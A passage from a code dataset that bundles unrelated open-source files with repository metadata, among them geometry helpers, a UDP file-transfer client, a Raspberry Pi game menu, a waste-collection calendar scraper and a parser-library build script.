False\n\n if doPiecesIntersectTarget(pieces, targetPoints):\n return False\n\n return True\n\n\ndef onSegment(ptA, ptB, ptC):\n\n if (ptB[0] <= max(ptA[0], ptC[0]) and ptB[0] >= min(ptA[0], ptC[0]) and\n ptB[1] <= max(ptA[1], ptC[1]) and ptB[1] >= min(ptA[1], ptC[1])):\n return True\n\n return False\n\n\ndef orientation(ptA, ptB, ptC):\n val = (ptB[1] - ptA[1]) * (ptC[0] - ptB[0]) - (ptB[0] - ptA[0]) * (ptC[1] - ptB[1])\n\n if (val == 0):\n return 0 # colinear\n\n if val > 0:\n return 1\n else:\n return 2\n\n\ndef doIntersect(ptA, ptB, ptC, ptD):\n o1 = orientation(ptA, ptB, ptC)\n o2 = orientation(ptA, ptB, ptD)\n o3 = orientation(ptC, ptD, ptA)\n o4 = orientation(ptC, ptD, ptB)\n\n if ((o1 != o2) and (o3 != o4)):\n return True\n\n # Special Cases\n # ptA, ptB and ptC are colinear and ptC lies on segment ptAptB\n if (o1 == 0 and onSegment(ptA, ptC, ptB)):\n return True\n\n # ptA, ptB and ptD are colinear and ptD lies on segment ptAptB\n if (o2 == 0 and onSegment(ptA, ptD, ptB)): \n return True\n\n # ptC, ptD and ptA are colinear and ptA lies on segment ptCptD\n if (o3 == 0 and onSegment(ptC, ptA, ptD)): \n return True\n\n # ptC, ptD and ptB are colinear and ptB lies on segment ptCptD\n if (o4 == 0 and onSegment(ptC, ptB, ptD)): \n return True\n\n return False\n\n\ndef increaseSizeOfPolygon(targetPoints, xinc, yinc):\n increasedPoints = list()\n for ptTuple in targetPoints:\n x = float(ptTuple[0]) + xinc\n y = float(ptTuple[1]) + yinc\n increasedPoints.append((x, y))\n return increasedPoints\n\n\ndef doPiecesIntersectTarget(pieces, targetPoints):\n tgPtLength = len(targetPoints)\n for key in pieces:\n ptList = pieces[key]\n length = len(ptList)\n\n for i in range(0, length+1):\n ptA = ptList[i % length]\n ptB = ptList[(i+1) % length]\n\n for j in range(0, tgPtLength+1):\n j = j % tgPtLength\n ptC = targetPoints[j]\n ptD = targetPoints[(j+1) % tgPtLength]\n\n # if doIntersect(ptA, ptB, ptC, ptD):\n # return True\n\n det0, det1 = 0, 0\n det0 = checkOrientationFor2Points(ptA, ptB, ptC)\n det1 = checkOrientationFor2Points(ptA, ptB, ptD)\n\n if det0 != det1 != 0 :\n det0 = checkOrientationFor2Points(ptC, ptD, ptA)\n det1 = checkOrientationFor2Points(ptC, ptD, ptB)\n\n if det0 != det1 and det1 != 0 and det0 != 0:\n return True\n\n else:\n continue\n return False\n\ndef available_coloured_pieces(file):\n coloured_pieces = dict()\n coloured_pieces = readFile(file)\n return coloured_pieces\n\n\ndef closed_segment_intersect(a, b, c, d):\n \"\"\" Verifies if closed segments a, b, c, d do intersect.\n \"\"\"\n if a == b:\n return a == c or a == d\n if c == d:\n return c == a or c == b\n\n s1 = side(a, b, c)\n s2 = side(a, b, d)\n\n # All points are collinear\n if s1 == 0 and s2 == 0:\n return \\\n is_point_in_closed_segment(a, b, c) or is_point_in_closed_segment(a, b, d) or \\\n is_point_in_closed_segment(\n c, d, a) or is_point_in_closed_segment(c, d, b)\n\n # No touching and on the same side\n if s1 and s1 == s2:\n return False\n\n s1 = side(c, d, a)\n s2 = side(c, d, b)\n\n # No touching and on the same side\n if s1 and s1 == s2:\n return False\n\n return True\n\n# file = open('shape_A_1.xml')\n# shape = available_coloured_pieces(file)\n# file = open('tangram_A_2_a.xml')\n# tangram = available_coloured_pieces(file)\n# print(is_solution(tangram, shape))\n","repo_name":"yashtamakuwala/Tangram","sub_path":"tangram.py","file_name":"tangram.py","file_ext":"py","file_size_in_byte":12771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73409321067","text":"import sys\ninput = sys.stdin.readline\n\nn,m=map(int,input().split())\n\ndef backtracking(start,end,l,m):\n for i in range(start,end+1):\n if m == len(l) + 1:\n temp = l[:]\n temp.append(i)\n for j in temp:\n print(j,end=\" \")\n print()\n else:\n temp = l[:]\n temp.append(i)\n backtracking(i,end,temp,m)\n\nbacktracking(1,n,[],m)","repo_name":"Yun-YeoJun/BOJ_Python","sub_path":"solutions/bj15652.py","file_name":"bj15652.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35123215146","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.command_lib.storage import tracker_file_util\nfrom googlecloudsdk.command_lib.storage.tasks import task\nfrom googlecloudsdk.command_lib.storage.tasks.cp import download_util\nfrom googlecloudsdk.command_lib.util import crc32c\nfrom googlecloudsdk.core import log\nfrom googlecloudsdk.core import properties\n\n\nclass FinalizeSlicedDownloadTask(task.Task):\n \"\"\"Performs final steps of sliced download.\"\"\"\n\n def __init__(self,\n source_resource,\n temporary_destination_resource,\n final_destination_resource,\n do_not_decompress=False):\n \"\"\"Initializes task.\n\n Args:\n source_resource (resource_reference.ObjectResource): Should contain\n object's metadata for checking content encoding.\n temporary_destination_resource (resource_reference.FileObjectResource):\n Must contain a local path to the temporary file written to during\n transfers.\n final_destination_resource (resource_reference.FileObjectResource): Must\n contain local filesystem path to the final download destination.\n do_not_decompress (bool): Prevents automatically decompressing\n downloaded gzips.\n \"\"\"\n super(FinalizeSlicedDownloadTask, self).__init__()\n self._source_resource = source_resource\n self._temporary_destination_resource = temporary_destination_resource\n self._final_destination_resource = final_destination_resource\n self._do_not_decompress = do_not_decompress\n\n def execute(self, task_status_queue=None):\n \"\"\"Validates and clean ups after sliced download.\"\"\"\n for message in self.received_messages:\n if message.topic is task.Topic.ERROR:\n log.error(message.payload)\n return\n\n temporary_object_path = (\n self._temporary_destination_resource.storage_url.object_name)\n final_destination_object_path = (\n self._final_destination_resource.storage_url.object_name)\n if (properties.VALUES.storage.check_hashes.Get() !=\n properties.CheckHashes.NEVER.value and\n self._source_resource.crc32c_hash):\n\n component_payloads = [\n message.payload\n for message in self.received_messages\n if message.topic == task.Topic.CRC32C\n ]\n if component_payloads:\n # Returns list of payload values sorted by component number.\n sorted_component_payloads = sorted(\n component_payloads, key=lambda d: d['component_number'])\n\n downloaded_file_checksum = sorted_component_payloads[0][\n 'crc32c_checksum']\n for i in range(1, len(sorted_component_payloads)):\n payload = sorted_component_payloads[i]\n downloaded_file_checksum = crc32c.concat_checksums(\n downloaded_file_checksum,\n payload['crc32c_checksum'],\n b_byte_count=payload['length'])\n\n downloaded_file_hash_object = crc32c.get_crc32c_from_checksum(\n downloaded_file_checksum)\n downloaded_file_hash_digest = crc32c.get_hash(\n downloaded_file_hash_object)\n\n download_util.validate_download_hash_and_delete_corrupt_files(\n temporary_object_path, self._source_resource.crc32c_hash,\n downloaded_file_hash_digest)\n\n download_util.decompress_or_rename_file(\n self._source_resource,\n temporary_object_path,\n final_destination_object_path,\n do_not_decompress_flag=self._do_not_decompress)\n\n tracker_file_util.delete_download_tracker_files(\n self._temporary_destination_resource.storage_url)\n","repo_name":"boostcampaitech2/final-project-level3-cv-15","sub_path":"serving/google-cloud-sdk/lib/googlecloudsdk/command_lib/storage/tasks/cp/finalize_sliced_download_task.py","file_name":"finalize_sliced_download_task.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"3667393559","text":"import time, pygame, sys, threading, random, json\nimport Adafruit_Nokia_LCD as LCD\nimport Adafruit_GPIO.SPI as SPI\nfrom pygame.locals import *\nfrom PIL import Image, ImageDraw, ImageFont\n\n\ndef draw_main_menu():\n #option currently chosen\n draw.rectangle((0,0,LCD.LCDWIDTH-1, LCD.LCDHEIGHT-1), outline=0, fill=255)\n font = ImageFont.truetype(\"data-latin.ttf\", size=12)\n draw.text((19,3), 'SNAKE', font=font)\n draw.text((20,17), '2048', font=font)\n draw.text((20,31), 'QUIT', font=font)\n return get_option()\n \n\ndef get_option():\n option = 0\n points =[(3, 14*option+9), (4, 14*option+9), (5, 14*option+9),\n (6, 14*option+9), (5, 14*option+8), (5, 14*option+10)]\n draw.point(points, fill=0)\n disp.image(image)\n disp.display()\n while True:\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n if event.type == KEYDOWN:\n if event.key == pygame.K_UP:\n draw.point(points, fill=255)\n option = (option-1)%3\n points =[(3, 14*option+9), (4, 14*option+9),\n (5, 14*option+9),(6, 14*option+9),\n (5, 14*option+8), (5, 14*option+10)]\n draw.point(points, fill=0)\n disp.image(image)\n disp.display()\n if event.key == pygame.K_DOWN:\n draw.point(points, fill=255)\n option = (option+1)%3\n points =[(3, 14*option+9), (4, 14*option+9),\n (5, 14*option+9),(6, 14*option+9),\n (5, 14*option+8), (5, 14*option+10)]\n draw.point(points, fill=0)\n disp.image(image)\n disp.display()\n if event.key == pygame.K_RETURN:\n return option\n # w zaleznosci od opcji wyswietl 14*options +9\n time.sleep(0.2)\n\n\ndef start():\n while True: \n opcja = draw_main_menu()\n if opcja == 0:\n import snejk\n #zamien snejka na klase\n snejk.Snejk(disp,draw,image)\n elif opcja == 1:\n import true2048\n t = true2048.TwoZeroFourEight(disp, draw, image)\n else:\n pygame.quit()\n sys.exit()\n \n \npygame.init()\nscreen = pygame.display.set_mode((101,101))\npygame.display.set_caption('.')\npygame.event.set_allowed(None)\npygame.event.set_allowed([QUIT, KEYDOWN])\n#initialize display\n#20 -- D/C\n#12 -- RST\n \nDC = 20\nRST = 12\nSPI_PORT = 0\nSPI_DEVICE = 0\ndisp = LCD.PCD8544(DC, RST, spi=SPI.SpiDev(SPI_PORT, SPI_DEVICE,\n max_speed_hz=4000000))\ndisp.begin(contrast = 50)\ndisp.clear()\ntime.sleep(2)\ndisp.display()\n\nimage = Image.new('1', (LCD.LCDWIDTH, LCD.LCDHEIGHT))\ndraw = ImageDraw.Draw(image)\n\n#draw rectangle\ndraw.rectangle((0,0,LCD.LCDWIDTH-1, LCD.LCDHEIGHT-1), outline=0, fill=255)\nstart()\n","repo_name":"AjEmLewy/RaspberryPiNokiaGames","sub_path":"gamepack.py","file_name":"gamepack.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10207421016","text":"def split(inF):\n inFile = open(inF)\n ouFile1 = open(inF.split('.txt')[0] + '.intron.txt', 'w')\n ouFile2 = open(inF.split('.txt')[0] + '.other.txt', 'w')\n head = inFile.readline()\n ouFile1.write(head)\n ouFile2.write(head)\n for line in inFile:\n fields = line.split('\\t')\n if fields[8] in ['INTRON','DOWNSTREAM', 'UPSTREAM', 'INTRAGENIC']:\n ouFile1.write(line)\n else:\n ouFile2.write(line)\n \n inFile.close()\n ouFile1.close()\n ouFile2.close()\n\nsplit('Variation-All_ACEonly.txt')\n","repo_name":"chw333/StanfordSGTC","sub_path":"DCM/04-Gene/vsACE/04-split.py","file_name":"04-split.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70773017066","text":"# -*- coding: utf-8 -*-\n\"\"\"\nWell-mixed topology in which each node is a neighbor of every other node.\n\nThis topology is modeled as a graph with no edges between the nodes. Although\na complete graph would perhaps model a well-mixed topology more accurately,\nthis would prohibit large populations due to the associated memory\nrequirements.\n\nNodes are given a randomly-assigned location to more easily allow for\nvisualization. It should be noted that in this topology, interactions\nare not localized, so the neighbors with which a node interacts will\nbe located throughout the environment.\n\n\"\"\"\n\n__author__ = \"Brian Connelly \"\n__credits__ = \"Brian Connelly\"\n\nimport random\nimport networkx as nx\n\nfrom seeds.Plugin import *\nfrom seeds.SEEDSError import *\nfrom seeds.Topology import *\n\n\nclass WellMixedTopology(Topology, Plugin):\n \"\"\"\n Well-mixed topology with a configurable number of interactions\n\n Configuration: All configuration options should be specified in the\n WellMixedTopology block (unless otherwise specified by the\n config_section parameter).\n\n size\n Total number of nodes in the population\n num_interactions\n When a node is updated, a list of neighbors is passed to it.\n This parameter specifies the size of a random subset of nodes\n to be used as this neighbor set. By default, all nodes in\n the populaion are passed as neighbors.\n dimensions\n The number of dimensions in space that this topology occupies.\n (default: 2)\n\n Example:\n [WellMixedTopology]\n size = 100000\n num_interactions = 10\n\n\n \"\"\"\n\n __name__ = \"WellMixedTopology\"\n __version__ = (1,0)\n __author__ = \"Brian Connelly \"\n __credits__ = \"Brian Connelly\"\n __description__ = \"Well-mixed (unstructured) population in which each node is equally likely to interact with any other node.\"\n __type__ = 2 \n __requirements__ = []\n\n def __init__(self, experiment, label=None):\n \"\"\"Initialize a WellMixedTopology object\n\n Parameters:\n\n *experiment*\n A reference to the Experiment\n *label*\n A unique string identifying the configuration for this topology\n\n \"\"\"\n\n super(WellMixedTopology, self).__init__(experiment, label=label)\n\n if self.label:\n self.config_section=\"%s:%s\" % (\"WellMixedTopology\", label)\n else:\n self.config_section=\"%s\" % (\"WellMixedTopology\")\n\n self.size = self.experiment.config.getint(section=self.config_section,\n name='size')\n self.num_interactions = self.experiment.config.getint(section=self.config_section,\n name='num_interactions',\n default=self.size)\n self.dimensions = self.experiment.config.getint(section=self.config_section,\n name=\"dimensions\",\n default=2)\n if not self.size:\n raise ConfigurationError(\"WellMixedTopology: size must be defined\")\n elif self.size < 1:\n raise ConfigurationError(\"WellMixedTopology: size must be greater than 0\")\n elif self.num_interactions < 0:\n raise ConfigurationError(\"WellMixedTopology: num_interactions must be non-negative\")\n elif self.num_interactions > self.size:\n raise ConfigurationError(\"WellMixedTopology: num_interactions can not exceed size\")\n elif self.dimensions < 1:\n raise ConfigurationError(\"GrowthTopology: Number of dimensions must be at least 1\")\n\n self.graph = nx.empty_graph()\n self.graph.name = \"well_mixed_graph\"\n self.graph.add_nodes_from(list(range(self.size)))\n\n for n in self.graph.nodes():\n self.graph.node[n]['coords'] = tuple([random.random() for i in xrange(self.dimensions)])\n\n def __str__(self):\n \"\"\"Produce a string to be used when an object is printed\"\"\"\n return \"Well-Mixed Topology (%d nodes, %d interactions)\" % (self.size, self.num_interactions)\n\n def get_neighbors(self, node):\n \"\"\"Get a randomly-selected list of neighboring nodes (IDs) for a given node\n\n Parameters:\n\n *node*\n The ID of the node whose neighboring nodes to get\n\n \"\"\"\n\n return random.sample(self.graph.nodes(), self.num_interactions)\n\n def add_edge(self, src, dest):\n \"\"\"Add an edge to the graph. Not supported by this topology type\"\"\"\n raise ConfigurationError(\"add_edge is not supported by WellMixedTopology\")\n return\n\n def remove_edge(self, src, dest):\n \"\"\"Remove an edge from the graph. Not supported by this topology\n type\"\"\"\n raise ConfigurationError(\"remove_edge is not supported by WellMixedTopology\")\n return\n\n def add_node(self, id=-1, neighbors=[]):\n \"\"\"Add a node to the graph. Topologies that do not wish to support\n this should redefine this method to do nothing. This method will\n not place a Cell or ResourceCell in the newly-created node. That\n will need to be done separately.\n\n Note that since edges aren't used in this topology, the neighbors\n argument is ignored.\n\n Parameters:\n\n id\n The ID to use for the new node. If none is specified (or -1), the\n ID used will be the current largest ID in the graph plus 1.\n neighbors\n An optional list of node IDs that will be connected to the new node\n via an edge. NonExistentNodeError will be raised if any of these\n nodes do not exist. ***This argument is ignored***\n\n \"\"\"\n\n if id == -1:\n self.graph.add_node(max(self.graph.nodes()) + 1)\n else:\n self.graph.add_node(id)\n\n self.graph.node[id]['coords'] = (random.random(),random.random())\n\n","repo_name":"briandconnelly/seeds","sub_path":"seeds/plugins/topology/WellMixedTopology.py","file_name":"WellMixedTopology.py","file_ext":"py","file_size_in_byte":6083,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"37"} +{"seq_id":"21897964650","text":"import pandas as pd\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nimport mplfinance as fplt\nimport pandas as pd\nfrom datetime import datetime as dt\nimport matplotlib.dates as mpdates\n\nplt.ion()\ndts = [ ]\ncdf = pd.read_csv('chart1.csv')\n#cdf = pd.read_csv('market_1H_grey.csv')\nfor row in cdf.itertuples():\n rdt = row.Date + ' ' + row.Time\n dtm = dt.strptime(rdt, \"%m/%d/%Y %H:%M\")\n dts.append(dtm)\n\ncols = ['Open','High','Low','Close']\ndf = cdf[cols]\n\ndti = pd.DatetimeIndex(dts)\ndf.set_index(dti, inplace=True) \n\nprint(df)\n\nfor bar in range(5, len(df)):\n wdf = df[bar-5:bar]\n highest_low = max(wdf['Low'])\n lowest_high = min(wdf['High'])\n if (highest_low > lowest_high):\n continue\n\n fplt.plot(wdf, type='candle', style='charles',\n title='Ovelapping Labelling',\n ylabel='Price ($)')\n\n plt.show(block=False)\n plt.pause(0.001)\n input(\"Overlapping?\");\n plt.close('all')\n","repo_name":"karlfe/trading","sub_path":"chart/ovrlp_label.py","file_name":"ovrlp_label.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25605484111","text":"import socket\nimport sys\nimport time\n\n# Base variables and consts.\nIP_ADDR = sys.argv[2]\nPORT = int(sys.argv[1])\nFILE_NAME = sys.argv[3]\nDEFAULT_TIMEOUT = 5\nMSS = 97\nADDR = (IP_ADDR, PORT)\nNULL = b'0'\nFIN_MSG = b'FIN'\nSYN_MSG = b'SYN'\nMAX_PORT = 65535\n\n\n# Data Class - will hold all information of packages needed to be sent and ack received.\nclass Data:\n # Constructor - initialize variables and split file into small chunks.\n def __init__(self, file_name):\n try:\n data = open(file_name, \"rb\").read()\n except OSError:\n print(\"Cannot open or read file\")\n s.close()\n sys.exit()\n # Make new array of bytes from current file, to each segment add 3-byte long sequence number.\n self.data_arr = [(data[i:i + MSS] + int((i / MSS)).to_bytes(3, 'little')) for i in range(0, len(data), MSS)]\n # Size of the array.\n self.arr_size_bytes = (len(self.data_arr)).to_bytes(3, 'little')\n # Counter to hold the amount of packages received.\n self.received_coutner = 0\n\n # Iterator made for giving the next package in line that did not received ack for.\n def __iter__(self):\n self.iter = 0\n return self\n\n def __next__(self):\n # While we didn't reach the end of the array look for a package that have not received ack for.\n while self.iter < len(self.data_arr):\n # if found return it.\n if self.data_arr[self.iter] != NULL:\n temp = self.iter\n self.iter += 1\n return self.data_arr[temp]\n self.iter += 1\n raise StopIteration\n\n # notify_ack - Method will update the current list for the ack received, if new ack will increase received_counter.\n def notify_ack(self, index):\n if self.data_arr[index] != NULL:\n self.data_arr[index] = NULL\n self.received_coutner += 1\n\n # get_size - as simple as it gets, returns size.\n def get_size(self):\n return self.arr_size_bytes\n\n # done_acking - returns true if all acks has been received, otherwise false.\n def done_acking(self):\n if self.received_coutner == len(self.data_arr):\n return True\n return False\n\n\n# Sync method will be in charge of synchronizing connection with the server.\ndef syn():\n syn_msg = SYN_MSG + data_toSend.get_size()\n s.sendto(syn_msg, (IP_ADDR, PORT))\n # 2 ways handshake as the server is not communicating back but only receives data and approves it.\n try:\n get_syn, addr = s.recvfrom(100)\n if get_syn != syn_msg:\n syn()\n else:\n send_pkgs()\n except socket.timeout:\n # in-case of drop re-send package.\n syn()\n\n\n# will be in-charge of sending the packages that has not received ack yet.\ndef send_pkgs():\n for pkg in data_toSend:\n s.sendto(pkg, ADDR)\n mark_acks()\n\n\n# will be in-charge of checking which acks have been received and marking the packages for future sending.\ndef mark_acks():\n try:\n # while still un-resolved packages in buffer keep marking them.\n while True:\n data_ack, address = s.recvfrom(100)\n # if message is fin message go to fin and finish the connection.\n if data_ack == FIN_MSG:\n fin()\n # if syn message was found again meaning sever did not receive last one, client will resend it.\n if data_ack == SYN_MSG:\n syn()\n # otherwise store the ack received and mark the pacakge.\n pkg_num = int.from_bytes(data_ack[-3:len(data_ack)], 'little')\n data_toSend.notify_ack(pkg_num)\n\n except socket.timeout:\n if not data_toSend.done_acking():\n send_pkgs()\n\n\n# fin method will be in-charge to finish comunication with the server.\ndef fin():\n try:\n s.sendto(FIN_MSG, (IP_ADDR, PORT))\n fin_ack, address = s.recvfrom(100)\n if fin_ack != FIN_MSG:\n fin()\n else:\n s.close()\n sys.exit()\n except socket.timeout:\n fin()\n\n\n# validates IP address's format\ndef validate_ip():\n ip_parts = IP_ADDR.split(\".\")\n\n if len(ip_parts) != 4:\n return False\n\n for part in ip_parts:\n if not isinstance(int(part), int):\n return False\n\n if int(part) < 0 or int(part) > 255:\n return False\n\n return True\n\n\n# checks arguments before staring.\ndef args_check():\n try:\n if MAX_PORT < int(PORT) or int(PORT) < 0:\n raise \"Port is not in the correct range\"\n\n if len(sys.argv) != 4:\n raise \"Wrong amount of arguments.\"\n\n if not validate_ip():\n raise \"Wrong IP address format.\"\n\n except:\n s.close()\n sys.exit()\n\n\n# UDP socket initialisation\nargs_check()\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.settimeout(DEFAULT_TIMEOUT)\n\ndata_toSend = Data(FILE_NAME)\nsyn()\n","repo_name":"Etelis/TCP-over-UDP","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32509272208","text":"# Day 6B - how many fish are there at day 256?\n# In theory I could just change my loop from day_6A to run all the way through range(256)...\n# ... but rough math says the loop would take several thousand years to finish.\n# Instead, I'm going to figure out how many fish are generated from one fish in 128 days (for each \"starting status\")\n# Then figure out how many fish are generated in 256 days from one fish\n# Then multiply those estimates by the distribution of actual starting fish to get our final.\n\nimport pandas as pd\nimport numpy as np\n\ndata = pd.read_csv('data/day6.csv', header = None)\nschool_of_fish = data.iloc[0].values.tolist()\n\n# Get a dictionary with the initial distribution by 'day count status'\ninitial_distribution = np.unique(school_of_fish, return_counts = True)\ninitial_distribution = dict(zip(*initial_distribution))\n\n# Map out how many fish are generated by one fish of each 'day count status' and the distribution of those fish\nmapping_128 = {}\nfor i in range(9):\n example_schools = [i]\n for day in range(128):\n new_school = []\n for oldfish in example_schools:\n fish = example_schools.pop(0)\n if fish == 0:\n new_school.append(8)\n example_schools.append(6)\n\n else:\n fish -= 1\n example_schools.append(fish)\n\n for each in new_school:\n example_schools.append(each)\n\n summary = np.unique(example_schools, return_counts = True)\n summary = dict(zip(*summary))\n\n mapping_128[i] = (summary)\n\n# Translate the mapping into a total generated population from each initial fish\nmapping_totals_128 = {}\nfor i in range(9):\n mapping_totals_128[i] = sum(mapping_128[i].values())\n\n# Translate these 128 day figures into 256 (basically figure out the generated population from each fish at 128 days)\ntotal_fish_256 = {}\nfor i in range(9):\n temp_fish = []\n for j in range(9):\n try:\n temp_fish.append(mapping_totals_128[j] * mapping_128[i][j])\n except:\n pass\n total_fish_256[i] = sum(temp_fish)\n\n# Okay, now that I know how many fish are generated by a starting fish of each day status, I can calculate the total fish\nfinal_fish = []\nfor i in range(6):\n try:\n final_fish.append(initial_distribution[i] * total_fish_256[i])\n except:\n pass\n\n# Et voila\nprint(sum(final_fish))\n","repo_name":"conordurkin/adventofcode21","sub_path":"day_6B.py","file_name":"day_6B.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26232474698","text":"\"\"\"\nA matrix will be an N sized list of 4 element lists.\nEach individual list will represent an [x, y, z, 1] point.\nFor multiplication purposes, consider the lists like so:\nx0 x1 xn\ny0 y1 yn\nz0 z1 ... zn\n1 1 1\n\"\"\"\nimport math\n\n#print the matrix such that it looks like\n#the template in the top comment\ndef print_matrix( matrix ):\n s = \"\"\n current_spaces = 5\n for c in range(len(matrix[0])):\n s += \"\\n\"\n for r in range(len(matrix)):\n s += str(matrix[r][c])\n # if current_spaces < how_manyDigits(matrix[r][c]):\n # current_spaces += 1\n for i in range(current_spaces - how_manyDigits(matrix[r][c])):\n s += \" \"\n s += \"\\n\"\n print(s)\n\ndef how_manyDigits(n):\n if (n == 0):\n return 1\n i = 0\n number_of_digits = 0\n for i in range(10):\n if (10 ** i) <= n:\n number_of_digits += 1\n return number_of_digits\n\n # for rows in matrix:\n # print(rows)\n\n#turn the paramter matrix into an identity matrix\n#you may assume matrix is square\ndef ident( matrix ):\n columns = len(matrix[0])\n rows = columns #matrix is assumed to be a square\n for r in range(rows):\n for c in range(columns):\n if (r == c):\n matrix[r][c] = 1\n else:\n matrix[r][c] = 0\n return matrix\n\n#multiply m1 by m2, modifying m2 to be the product\n#m1 * m2 -> m2\n\n\ndef matrix_mult( m1, m2 ):\n rows = len(m1[0])\n columns = len(m2)\n temp = new_matrix(rows, columns)\n for row in range(rows):\n for col in range(columns):\n temp[col][row] = sum([(m1[k][row] * m2[col][k]) for k in range(len(m2[0]))])\n del m2[:]\n for col in temp:\n m2.append(col)\n\n\ndef new_matrix(rows = 4, cols = 4):\n m = []\n for c in range( cols ):\n m.append( [] )\n for r in range( rows ):\n m[c].append( 0 )\n return m\n","repo_name":"Silianglei/matrixX","sub_path":"matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74146095468","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom waste_collection_schedule import Collection # type: ignore[attr-defined]\nfrom waste_collection_schedule.service.ICS import ICS\n\nTITLE = \"Abfallwirtschaftsbetrieb Esslingen\"\nDESCRIPTION = \"Source for AWB Esslingen, Germany\"\nURL = \"https://www.awb-es.de\"\n\nTEST_CASES = {\n \"Aichwald\": {\"city\": \"Aichwald\", \"street\": \"Alte Dorfstrasse\"},\n \"Kohlberg\": {\"city\": \"Kohlberg\", \"street\": \"alle Straßen\"},\n}\n\nHEADERS = {\"user-agent\": \"Mozilla/5.0 (xxxx Windows NT 10.0; Win64; x64)\"}\n\n\nclass Source:\n def __init__(self, city, street=None):\n self._city = city\n self._street = street\n self._ics = ICS()\n\n def fetch(self):\n session = requests.Session()\n\n params = {\n \"city\": self._city,\n \"street\": self._street,\n \"direct\": \"true\",\n }\n r = session.get(\n \"https://www.awb-es.de/abfuhr/abfuhrtermine/__Abfuhrtermine.html\",\n params=params,\n )\n r.raise_for_status()\n\n soup = BeautifulSoup(r.text, features=\"html.parser\")\n downloads = soup.find_all(\"a\", href=True)\n ics_urls = list()\n for download in downloads:\n href = download.get(\"href\")\n if \"t=ics\" in href and href not in ics_urls: #The website lists the same url multiple times, we only want it once\n ics_urls.append(href)\n\n if not ics_urls:\n raise Exception(f\"ics url not found\")\n\n entries = []\n for ics_url in ics_urls:\n # get ics file\n r = session.get(ics_url, headers=HEADERS)\n r.raise_for_status()\n\n # parse ics file\n dates = self._ics.convert(r.text)\n\n for d in dates:\n entries.append(Collection(d[0], d[1]))\n \n return entries\n","repo_name":"mampfes/hacs_waste_collection_schedule","sub_path":"custom_components/waste_collection_schedule/waste_collection_schedule/source/awb_es_de.py","file_name":"awb_es_de.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":559,"dataset":"github-code","pt":"37"} +{"seq_id":"26895941771","text":"# -*- python -*-\n\nfrom __future__ import absolute_import, division, print_function\n\nimport os.path\n\nImport('env testruns')\n\ndist_headers = [\n 'hammer.h',\n 'allocator.h',\n 'compiler_specifics.h',\n 'glue.h',\n 'internal.h',\n 'platform.h'\n]\n\nparsers_headers = [\n 'parsers/parser_internal.h'\n]\n\nbackends_headers = [\n 'backends/regex.h',\n 'backends/contextfree.h'\n]\n\nparsers = ['parsers/%s.c'%s for s in\n ['action',\n 'and',\n 'attr_bool',\n 'bind',\n 'bits',\n 'butnot',\n 'ch',\n 'charset',\n 'choice',\n 'difference',\n 'end',\n 'endianness',\n 'epsilon',\n 'ignore',\n 'ignoreseq',\n 'indirect',\n 'int_range',\n 'many',\n 'not',\n 'nothing',\n 'optional',\n 'permutation',\n 'sequence',\n 'token',\n 'unimplemented',\n 'whitespace',\n 'xor',\n 'value',\n 'seek']]\n\nbackends = ['backends/%s.c' % s for s in\n ['packrat', 'llk', 'regex', 'glr', 'lalr', 'lr', 'lr0']]\n\nmisc_hammer_parts = [\n 'allocator.c',\n 'benchmark.c',\n 'bitreader.c',\n 'bitwriter.c',\n 'cfgrammar.c',\n 'datastructures.c',\n 'desugar.c',\n 'glue.c',\n 'hammer.c',\n 'pprint.c',\n 'registry.c',\n 'system_allocator.c',\n 'sloballoc.c']\n\nif env['PLATFORM'] == 'win32':\n misc_hammer_parts += [\n 'platform_win32.c',\n 'tsearch.c',\n ]\nelse:\n misc_hammer_parts += ['platform_bsdlike.c']\n\nctests = ['t_benchmark.c',\n 't_bitreader.c',\n 't_bitwriter.c',\n 't_parser.c',\n 't_grammar.c',\n 't_misc.c',\n 't_mm.c',\n 't_regression.c']\n\n\nstatic_library_name = 'hammer'\nbuild_shared_library=True\nif env['PLATFORM'] == 'win32':\n # FIXME(windows): symbols in hammer are not exported yet, a shared lib would be useless\n build_shared_library=False\n # prevent collision between .lib from dll and .lib for static lib\n static_library_name = 'hammer_s'\n\nif 'GPROF' in env and env['GPROF'] == 1:\n # Disable the shared library (it won't work with gprof) and rename the static one\n build_shared_library=False\n static_library_name = 'hammer_pg'\n\nif GetOption('llvm'):\n build_shared_library=False\n static_library_name = 'hammer_ir'\n\n# Markers for later\nlibhammer_static = None\nlibhammer_shared = None\n\nif build_shared_library:\n libhammer_shared = env.SharedLibrary('hammer', parsers + backends + misc_hammer_parts)\nlibhammer_static = env.StaticLibrary(static_library_name, parsers + backends + misc_hammer_parts)\n\nif libhammer_shared is not None:\n Default(libhammer_shared, libhammer_static)\n env.Install('$libpath', [libhammer_static, libhammer_shared])\nelse:\n Default(libhammer_static)\n 